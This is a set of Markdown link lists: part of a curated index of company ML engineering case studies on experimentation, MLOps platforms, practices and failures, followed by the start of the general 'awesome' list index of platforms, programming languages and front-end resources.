37. [Designing Experimentation Guardrails](https://medium.com/airbnb-engineering/designing-experimentation-guardrails-ed6a976ec669) `Airbnb` `2021`
38. [How Airbnb Measures Future Value to Standardize Tradeoffs](https://medium.com/airbnb-engineering/how-airbnb-measures-future-value-to-standardize-tradeoffs-3aa99a941ba5) `Airbnb` `2021`
38. [Network Experimentation at Scale](https://research.fb.com/publications/network-experimentation-at-scale/)([Paper](https://arxiv.org/abs/2012.08591)] `Facebook` `2021`
39. [Universal Holdout Groups at Disney Streaming](https://medium.com/disney-streaming/universal-holdout-groups-at-disney-streaming-2043360def4f) `Disney` `2021`
40. [Experimentation is a major focus of Data Science across Netflix](https://netflixtechblog.com/experimentation-is-a-major-focus-of-data-science-across-netflix-f67923f8e985) `Netflix` `2022`
41. [Search Journey Towards Better Experimentation Practices](https://engineering.atspotify.com/2022/02/search-journey-towards-better-experimentation-practices/) `Spotify` `2022`
42. [Artificial Counterfactual Estimation: Machine Learning-Based Causal Inference at Airbnb](https://medium.com/airbnb-engineering/artificial-counterfactual-estimation-ace-machine-learning-based-causal-inference-at-airbnb-ee32ee4d0512) `Airbnb` `2022`
43. [Beyond A/B Test : Speeding up Airbnb Search Ranking Experimentation through Interleaving](https://medium.com/airbnb-engineering/beyond-a-b-test-speeding-up-airbnb-search-ranking-experimentation-through-interleaving-7087afa09c8e) `Airbnb` `2022`
44. [Challenges in Experimentation](https://eng.lyft.com/challenges-in-experimentation-be9ab98a7ef4) `Lyft` `2022`
45. [Overtracking and Trigger Analysis: Reducing sample sizes while INCREASING sensitivity](https://booking.ai/overtracking-and-trigger-analysis-how-to-reduce-sample-sizes-and-increase-the-sensitivity-of-71755bad0e5f) `Booking` `2022`
46. [Meet Dash-AB — The Statistics Engine of Experimentation at DoorDash](https://doordash.engineering/2022/05/24/meet-dash-ab-the-statistics-engine-of-experimentation-at-doordash/) `DoorDash` `2022`
47. [Comparing quantiles at scale in online A/B-testing](https://engineering.atspotify.com/2022/03/comparing-quantiles-at-scale-in-online-a-b-testing) `Spotify` `2022`
48. [Accelerating our A/B experiments with machine learning](https://dropbox.tech/machine-learning/accelerating-our-a-b-experiments-with-machine-learning-xr) `Dropbox` `2023`
49. [Supercharging A/B Testing at Uber](https://www.uber.com/blog/supercharging-a-b-testing-at-uber/) `Uber`
## Model Management
1. [Operationalizing Machine Learning—Managing Provenance from Raw Data to Predictions](https://vimeo.com/274396495) `Comcast` `2018`
2. [Overton: A Data System for Monitoring and Improving Machine-Learned Products](https://arxiv.org/abs/1909.05372) ([Paper](https://arxiv.org/pdf/1909.05372.pdf)) `Apple` `2019`
3. [Runway - Model Lifecycle Management at Netflix](https://www.usenix.org/conference/opml20/presentation/cepoi) `Netflix` `2020`
4. [Managing ML Models @ Scale - Intuit’s ML Platform](https://www.usenix.org/conference/opml20/presentation/wenzel) `Intuit` `2020`
5. [ML Model Monitoring - 9 Tips From the Trenches](https://building.nubank.com.br/ml-model-monitoring-9-tips-from-the-trenches/) `Nubank` `2021`
6. [Dealing with Train-serve Skew in Real-time ML Models: A Short Guide](https://building.nubank.com.br/dealing-with-train-serve-skew-in-real-time-ml-models-a-short-guide/) `Nubank` `2023`
## Efficiency
1. [GrokNet: Unified Computer Vision Model Trunk and Embeddings For Commerce](https://ai.facebook.com/research/publications/groknet-unified-computer-vision-model-trunk-and-embeddings-for-commerce/) ([Paper](https://scontent-sea1-1.xx.fbcdn.net/v/t39.8562-6/99353320_565175057533429_3886205100842024960_n.pdf?_nc_cat=110&_nc_sid=ae5e01&_nc_ohc=WQBaZy1gnmUAX8Ecqtt&_nc_ht=scontent-sea1-1.xx&oh=cab2f11dd9154d817149cb73e8b692a8&oe=5F5A3778)) `Facebook` `2020`
2. [How We Scaled Bert To Serve 1+ Billion Daily Requests on CPUs](https://blog.roblox.com/2020/05/scaled-bert-serve-1-billion-daily-requests-cpus/) `Roblox` `2020`
3. [Permute, Quantize, and Fine-tune: Efficient Compression of Neural Networks](https://arxiv.org/abs/2010.15703) ([Paper](https://arxiv.org/pdf/2010.15703.pdf)) `Uber` `2021`
4. [GPU-accelerated ML Inference at Pinterest](https://medium.com/@Pinterest_Engineering/gpu-accelerated-ml-inference-at-pinterest-ad1b6a03a16d) `Pinterest` `2022`
## Ethics
1. [Building Inclusive Products Through A/B Testing](https://engineering.linkedin.com/blog/2020/building-inclusive-products-through-a-b-testing) ([Paper](https://arxiv.org/pdf/2002.05819.pdf)) `LinkedIn` `2020`
2. [LiFT: A Scalable Framework for Measuring Fairness in ML Applications](https://engineering.linkedin.com/blog/2020/lift-addressing-bias-in-large-scale-ai-applications) ([Paper](https://arxiv.org/pdf/2008.07433.pdf)) `LinkedIn` `2020`
3. [Introducing Twitter’s first algorithmic bias bounty challenge](https://blog.twitter.com/engineering/en_us/topics/insights/2021/algorithmic-bias-bounty-challenge) `Twitter` `2021`
4. [Examining algorithmic amplification of political content on Twitter](https://blog.twitter.com/en_us/topics/company/2021/rml-politicalcontent) `Twitter` `2021`
5. [A closer look at how LinkedIn integrates fairness into its AI products](https://engineering.linkedin.com/blog/2022/a-closer-look-at-how-linkedin-integrates-fairness-into-its-ai-pr) `LinkedIn` `2022`
## Infra
1. [Reengineering Facebook AI’s Deep Learning Platforms for Interoperability](https://ai.facebook.com/blog/reengineering-facebook-ais-deep-learning-platforms-for-interoperability) `Facebook` `2020`
2. [Elastic Distributed Training with XGBoost on Ray](https://eng.uber.com/elastic-xgboost-ray/) `Uber` `2021`
## MLOps Platforms
1. [Meet Michelangelo: Uber’s Machine Learning Platform](https://eng.uber.com/michelangelo-machine-learning-platform/) `Uber` `2017`
2. [Operationalizing Machine Learning—Managing Provenance from Raw Data to Predictions](https://vimeo.com/274396495) `Comcast` `2018`
3. [Big Data Machine Learning Platform at Pinterest](https://www.slideshare.net/Alluxio/pinterest-big-data-machine-learning-platform-at-pinterest) `Pinterest` `2019`
4. [Core Modeling at Instagram](https://instagram-engineering.com/core-modeling-at-instagram-a51e0158aa48) `Instagram` `2019`
5. [Open-Sourcing Metaflow - a Human-Centric Framework for Data Science](https://netflixtechblog.com/open-sourcing-metaflow-a-human-centric-framework-for-data-science-fa72e04a5d9) `Netflix` `2019`
6. [Managing ML Models @ Scale - Intuit’s ML Platform](https://www.usenix.org/conference/opml20/presentation/wenzel) `Intuit` `2020`
7. [Real-time Machine Learning Inference Platform at Zomato](https://www.youtube.com/watch?v=0-3ES1vzW14) `Zomato` `2020`
8. [Introducing Flyte: Cloud Native Machine Learning and Data Processing Platform](https://eng.lyft.com/introducing-flyte-cloud-native-machine-learning-and-data-processing-platform-fb2bb3046a59) `Lyft` `2020`
9. [Building Flexible Ensemble ML Models with a Computational Graph](https://doordash.engineering/2021/01/26/computational-graph-machine-learning-ensemble-model-support/) `DoorDash` `2021`
10. [LyftLearn: ML Model Training Infrastructure built on Kubernetes](https://eng.lyft.com/lyftlearn-ml-model-training-infrastructure-built-on-kubernetes-aef8218842bb) `Lyft` `2021`
11. ["You Don't Need a Bigger Boat": A Full Data Pipeline Built with Open-Source Tools](https://github.com/jacopotagliabue/you-dont-need-a-bigger-boat) ([Paper](https://arxiv.org/abs/2107.07346)) `Coveo` `2021`
12. [MLOps at GreenSteam: Shipping Machine Learning](https://neptune.ai/blog/mlops-at-greensteam-shipping-machine-learning-case-study) `GreenSteam` `2021`
13. [Evolving Reddit’s ML Model Deployment and Serving Architecture](https://www.reddit.com/r/RedditEng/comments/q14tsw/evolving_reddits_ml_model_deployment_and_serving/) `Reddit` `2021`
14. [Redesigning Etsy’s Machine Learning Platform](https://www.etsy.com/codeascraft/redesigning-etsys-machine-learning-platform/) `Etsy` `2021`
15. [Understanding Data Storage and Ingestion for Large-Scale Deep Recommendation Model Training](https://arxiv.org/abs/2108.09373) ([Paper](https://arxiv.org/pdf/2108.09373.pdf)) `Meta` `2021`
15. [Building a Platform for Serving Recommendations at Etsy](https://www.etsy.com/codeascraft/building-a-platform-for-serving-recommendations-at-etsy) `Etsy` `2022`
16. [Intelligent Automation Platform: Empowering Conversational AI and Beyond at Airbnb](https://medium.com/airbnb-engineering/intelligent-automation-platform-empowering-conversational-ai-and-beyond-at-airbnb-869c44833ff2) `Airbnb` `2022`
17. [DARWIN: Data Science and Artificial Intelligence Workbench at LinkedIn](https://engineering.linkedin.com/blog/2022/darwin--data-science-and-artificial-intelligence-workbench-at-li) `LinkedIn` `2022`
18. [The Magic of Merlin: Shopify's New Machine Learning Platform](https://shopify.engineering/merlin-shopify-machine-learning-platform) `Shopify` `2022`
19. [Zalando's Machine Learning Platform](https://engineering.zalando.com/posts/2022/04/zalando-machine-learning-platform.html) `Zalando` `2022`
20. [Inside Meta's AI optimization platform for engineers across the company](https://ai.facebook.com/blog/looper-meta-ai-optimization-platform-for-engineers/) ([Paper](https://arxiv.org/pdf/2110.07554.pdf)) `Meta` `2022`
21. [Monzo’s machine learning stack](https://monzo.com/blog/2022/04/26/monzos-machine-learning-stack) `Monzo` `2022`
22. [Evolution of ML Fact Store](https://netflixtechblog.com/evolution-of-ml-fact-store-5941d3231762) `Netflix` `2022`
23. [Using MLOps to Build a Real-time End-to-End Machine Learning Pipeline](https://www.binance.com/en/blog/all/using-mlops-to-build-a-realtime-endtoend-machine-learning-pipeline-3820048062346322706) `Binance` `2022`
24. [Serving Machine Learning Models Efficiently at Scale at Zillow](https://www.zillow.com/tech/serving-machine-learning-models-efficiently-at-scale-at-zillow/) `Zillow` `2022`
25. [Didact AI: The anatomy of an ML-powered stock picking engine](https://principiamundi.com/posts/didact-anatomy/?utm_campaign=Data_Elixir&utm_source=Data_Elixir_407/) `Didact AI` `2022`
26. [Deployment for Free - A Machine Learning Platform for Stitch Fix's Data Scientists](https://multithreaded.stitchfix.com/blog/2022/07/14/deployment-for-free/) `Stitch Fix` `2022`
27. [Machine Learning Operations (MLOps): Overview, Definition, and Architecture](https://arxiv.org/abs/2205.02302) ([Paper](https://arxiv.org/ftp/arxiv/papers/2205/2205.02302.pdf)) `IBM` `2022`
## Practices
1. [Practical Recommendations for Gradient-Based Training of Deep Architectures](https://arxiv.org/abs/1206.5533) ([Paper](https://arxiv.org/pdf/1206.5533.pdf)) `Yoshua Bengio` `2012`
2. [Machine Learning: The High Interest Credit Card of Technical Debt](https://research.google/pubs/pub43146/) ([Paper](https://storage.googleapis.com/pub-tools-public-publication-data/pdf/43146.pdf)) ([Paper](https://papers.nips.cc/paper/5656-hidden-technical-debt-in-machine-learning-systems.pdf)) `Google` `2014`
3. [Rules of Machine Learning: Best Practices for ML Engineering](https://developers.google.com/machine-learning/guides/rules-of-ml) `Google` `2018`
4. [On Challenges in Machine Learning Model Management](http://sites.computer.org/debull/A18dec/p5.pdf) `Amazon` `2018`
5. [Machine Learning in Production: The Booking.com Approach](https://booking.ai/https-booking-ai-machine-learning-production-3ee8fe943c70) `Booking` `2019`
6. [150 Successful Machine Learning Models: 6 Lessons Learned at Booking.com](https://booking.ai/150-successful-machine-learning-models-6-lessons-learned-at-booking-com-681e09107bec) ([Paper](https://dl.acm.org/doi/pdf/10.1145/3292500.3330744)) `Booking` `2019`
7. [Successes and Challenges in Adopting Machine Learning at Scale at a Global Bank](https://www.youtube.com/watch?v=QYQKG5OcwEI) `Rabobank` `2019`
8. [Challenges in Deploying Machine Learning: a Survey of Case Studies](https://arxiv.org/abs/2011.09926) ([Paper](https://arxiv.org/pdf/2011.09926.pdf)) `Cambridge` `2020`
9. [Reengineering Facebook AI’s Deep Learning Platforms for Interoperability](https://ai.facebook.com/blog/reengineering-facebook-ais-deep-learning-platforms-for-interoperability) `Facebook` `2020`
10. [The problem with AI developer tools for enterprises](https://towardsdatascience.com/the-problem-with-ai-developer-tools-for-enterprises-and-what-ikea-has-to-do-with-it-b26277841661) `Databricks` `2020`
11. [Continuous Integration and Deployment for Machine Learning Online Serving and Models](https://eng.uber.com/continuous-integration-deployment-ml/) `Uber` `2021`
12. [Tuning Model Performance](https://eng.uber.com/tuning-model-performance/) `Uber` `2021`
13. [Maintaining Machine Learning Model Accuracy Through Monitoring](https://doordash.engineering/2021/05/20/monitor-machine-learning-model-drift/) `DoorDash` `2021`
14. [Building Scalable and Performant Marketing ML Systems at Wayfair](https://www.aboutwayfair.com/careers/tech-blog/building-scalable-and-performant-marketing-ml-systems-at-wayfair) `Wayfair` `2021`
15. [Our approach to building transparent and explainable AI systems](https://engineering.linkedin.com/blog/2021/transparent-and-explainable-AI-systems) `LinkedIn` `2021`
16. [5 Steps for Building Machine Learning Models for Business](https://shopify.engineering/building-business-machine-learning-models) `Shopify` `2021`
17. [Data Is An Art, Not Just A Science—And Storytelling Is The Key](https://shopifyengineering.myshopify.com/blogs/engineering/data-storytelling-shopify) `Shopify` `2022`
18. [Best Practices for Real-time Machine Learning: Alerting](https://building.nubank.com.br/best-practices-for-real-time-machine-learning-alerting/) `Nubank` `2022`
19. [Automatic Retraining for Machine Learning Models: Tips and Lessons Learned](https://building.nubank.com.br/automatic-retraining-for-machine-learning-models/) `Nubank` `2022`
20. [RecSysOps: Best Practices for Operating a Large-Scale Recommender System](https://netflixtechblog.medium.com/recsysops-best-practices-for-operating-a-large-scale-recommender-system-95bbe195a841) `Netflix` `2022`
21. [ML Education at Uber: Frameworks Inspired by Engineering Principles](https://www.uber.com/en-PL/blog/ml-education-at-uber/) `Uber` `2022`
## Team structure
1. [What is the most effective way to structure a data science team?](https://towardsdatascience.com/what-is-the-most-effective-way-to-structure-a-data-science-team-498041b88dae) `Udemy` `2017`
1. [Engineers Shouldn’t Write ETL: A Guide to Building a High Functioning Data Science Department](https://multithreaded.stitchfix.com/blog/2016/03/16/engineers-shouldnt-write-etl/) `Stitch Fix` `2016`
2. [Building The Analytics Team At Wish](https://medium.com/wish-engineering/scaling-analytics-at-wish-619eacb97d16) `Wish` `2018`
3. [Beware the Data Science Pin Factory: The Power of the Full-Stack Data Science Generalist](https://multithreaded.stitchfix.com/blog/2019/03/11/FullStackDS-Generalists/) `Stitch Fix` `2019`
4. [Cultivating Algorithms: How We Grow Data Science at Stitch Fix](https://cultivating-algos.stitchfix.com) `Stitch Fix`
5. [Analytics at Netflix: Who We Are and What We Do](https://netflixtechblog.com/analytics-at-netflix-who-we-are-and-what-we-do-7d9c08fe6965) `Netflix` `2020`
6. [Building a Data Team at a Mid-stage Startup: A Short Story](https://erikbern.com/2021/07/07/the-data-team-a-short-story.html) `Erikbern` `2021`
7. [A Behind-the-Scenes Look at How Postman’s Data Team Works](https://entrepreneurshandbook.co/a-behind-the-scenes-look-at-how-postmans-data-team-works-fded0b8bfc64) `Postman` `2021`
8. [Data Scientist x Machine Learning Engineer Roles: How are they different? How are they alike?](https://building.nubank.com.br/data-scientist-x-machine-learning-engineer-roles-how-are-they-different-how-are-they-alike/) `Nubank` `2022`
## Fails
1. [When It Comes to Gorillas, Google Photos Remains Blind](https://www.wired.com/story/when-it-comes-to-gorillas-google-photos-remains-blind/) `Google` `2018`
2. [160k+ High School Students Will Graduate Only If a Model Allows Them to](http://positivelysemidefinite.com/2020/06/160k-students.html) `International Baccalaureate` `2020`
3. [An Algorithm That ‘Predicts’ Criminality Based on a Face Sparks a Furor](https://www.wired.com/story/algorithm-predicts-criminality-based-face-sparks-furor/) `Harrisburg University` `2020`
4. [It's Hard to Generate Neural Text From GPT-3 About Muslims](https://twitter.com/abidlabs/status/1291165311329341440) `OpenAI` `2020`
5. [A British AI Tool to Predict Violent Crime Is Too Flawed to Use](https://www.wired.co.uk/article/police-violence-prediction-ndas) `United Kingdom` `2020`
6. More in [awful-ai](https://github.com/daviddao/awful-ai)
7. [AI Incident Database](https://incidentdatabase.ai/) `Partnership on AI` `2022`
<br>
**P.S., Want a summary of ML advancements?** Get up to speed with survey papers 👉[`ml-surveys`](https://github.com/eugeneyan/ml-surveys)
|
<div align="center">
<img width="500" height="350" src="media/logo.svg" alt="Awesome">
<br>
<br>
<p>
<p>
<sup>
<a href="https://github.com/sponsors/sindresorhus">My open source work is supported by the community</a>
</sup>
</p>
<sup>Special thanks to:</sup>
<br>
<br>
<a href="https://github.com/botpress/botpress">
<img src="https://sindresorhus.com/assets/thanks/botpress-logo.svg" width="260" alt="Botpress">
</a>
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<br>
<br>
<br>
<br>
</div>
<p align="center">
<a href="awesome.md">What is an awesome list?</a>
<a href="contributing.md">Contribution guide</a>
<a href="create-list.md">Creating a list</a>
<a href="https://twitter.com/awesome__re">Twitter</a>
<a href="https://www.redbubble.com/people/sindresorhus/works/30364188-awesome-logo">Stickers & t-shirts</a>
</p>
<br>
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<b>Follow the <a href="https://twitter.com/awesome__re">Awesome Twitter account</a> for updates on new list additions.</b>
</div>
<br>
<p align="center">
<sub>Just type <a href="https://awesome.re"><code>awesome.re</code></a> to go here. Check out my <a href="https://blog.sindresorhus.com">blog</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.</sub>
</p>
<br>
## Contents
- [Platforms](#platforms)
- [Programming Languages](#programming-languages)
- [Front-End Development](#front-end-development)
- [Back-End Development](#back-end-development)
- [Computer Science](#computer-science)
- [Big Data](#big-data)
- [Theory](#theory)
- [Books](#books)
- [Editors](#editors)
- [Gaming](#gaming)
- [Development Environment](#development-environment)
- [Entertainment](#entertainment)
- [Databases](#databases)
- [Media](#media)
- [Learn](#learn)
- [Security](#security)
- [Content Management Systems](#content-management-systems)
- [Hardware](#hardware)
- [Business](#business)
- [Work](#work)
- [Networking](#networking)
- [Decentralized Systems](#decentralized-systems)
- [Higher Education](#higher-education)
- [Miscellaneous](#miscellaneous)
- [Related](#related)
---
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<a href="https://triplebyte.com/a/aZxgKGg/d">
<b>Looking for a job?</b>
<br>
No resume needed. Just prove you can code.
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<sub><i>Clicking this helps fund the Awesome project</i></sub>
</p>
</div>
---
## Platforms
- [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine.
- [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js.
- [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme)
- [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets.
- [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google.
- [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme)
- [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS.
- [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps.
- [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android.
- [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution.
- [Linux](https://github.com/aleksandar-todorovic/awesome-linux#readme)
- [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme)
- [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems.
- [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux.
- [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - Operating system for Apple's Mac computers.
- [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme)
- [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme)
- [Apps](https://github.com/jaywcjlove/awesome-mac#readme)
- [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme)
- [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch.
- [JVM](https://github.com/deephacks/awesome-jvm#readme)
- [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme)
- [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme)
- [Windows](https://github.com/Awesome-Windows/Awesome#readme)
- [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol.
- [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools.
- [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service.
- [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more.
- [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework.
- [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system.
- [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby.
- [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms.
- [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux.
- [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience.
- [.NET](https://github.com/quozd/awesome-dotnet#readme)
- [Core](https://github.com/thangchung/awesome-dotnet-core#readme)
- [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages.
- [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant.
- [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers.
- [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart.
- [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first.
- [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies.
- [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform.
- [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps.
- [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device.
- [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site.
- [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant.
## Programming Languages
- [JavaScript](https://github.com/sorrycc/awesome-javascript#readme)
- [Promises](https://github.com/wbinnssmith/awesome-promises#readme)
- [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter.
- [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme)
- [Tips](https://github.com/loverajoel/jstips#readme)
- [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme)
- [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme)
- [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist.
- [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages.
- [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager.
- [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner.
- [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter.
- [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme)
- [Observables](https://github.com/sindresorhus/awesome-observables#readme)
- [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner.
- [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds.
- [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast.
- [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme)
- [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme)
- [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability.
- [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3.
- [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music.
- [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers.
- [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning.
- [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python.
- [Rust](https://github.com/rust-unofficial/awesome-rust#readme)
- [Haskell](https://github.com/krispo/awesome-haskell#readme)
- [PureScript](https://github.com/passy/awesome-purescript#readme)
- [Go](https://github.com/avelino/awesome-go#readme)
- [Scala](https://github.com/lauris/awesome-scala#readme)
- [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM.
- [Ruby](https://github.com/markets/awesome-ruby#readme)
- [Clojure](https://github.com/razum2um/awesome-clojure#readme)
- [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme)
- [Elixir](https://github.com/h4cc/awesome-elixir#readme)
- [Elm](https://github.com/sporto/awesome-elm#readme)
- [Erlang](https://github.com/drobakowski/awesome-erlang#readme)
- [Julia](https://github.com/svaksha/Julia.jl#readme)
- [Lua](https://github.com/LewisJEllis/awesome-lua#readme)
- [C](https://github.com/aleksandar-todorovic/awesome-c#readme)
- [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software.
- [R](https://github.com/qinwf/awesome-R#readme)
- [D](https://github.com/zhaopuming/awesome-d#readme)
- [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme)
- [Perl](https://github.com/hachiojipm/awesome-perl#readme)
- [Groovy](https://github.com/kdabir/awesome-groovy#readme)
- [Dart](https://github.com/yissachar/awesome-dart#readme)
- [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere".
- [RxJava](https://github.com/eleventigers/awesome-rxjava#readme)
- [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme)
- [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme)
- [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme)
- [Fortran](https://github.com/rabbiabram/awesome-fortran#readme)
- [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language.
- [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager.
- [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme)
- [Assembler](https://github.com/lurumdare/awesome-asm#readme)
- [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme)
- [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme)
- [Crystal](https://github.com/veelenga/awesome-crystal#readme)
- [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM.
- [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software.
- [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR.
- [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM.
- [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML.
- [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential.
- [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms.
- [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript.
- [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code.
## Front-End Development
- [ES6 Tools](https://github.com/addyosmani/es6-tools#readme)
- [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme)
- [Web Tools](https://github.com/lvwzhen/tools#readme)
- [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen.
- [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme)
- [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme)
- [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme)
- [Protips](https://github.com/AllThingsSmitty/css-protips#readme)
- [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme)
- [React](https://github.com/enaqx/awesome-react#readme) - App framework.
- [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps.
- [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class.
- [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme)
- [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components.
- [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework.
- [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework.
- [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps.
- [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format.
- [Canvas](https://github.com/raphamorim/awesome-canvas#readme)
- [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library.
- [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit.
- [Inspiration](https://github.com/NoahBuscher/Inspire#readme)
- [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework.
- [Android UI](https://github.com/wasabeef/awesome-android-ui#readme)
- [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme)
- [Meteor](https://github.com/Urigo/awesome-meteor#readme)
- [BEM](https://github.com/sturobson/BEM-resources#readme)
- [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme)
- [Web Typography](https://github.com/deanhume/typography#readme)
- [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme)
- [Material Design](https://github.com/sachin1092/awesome-material#readme)
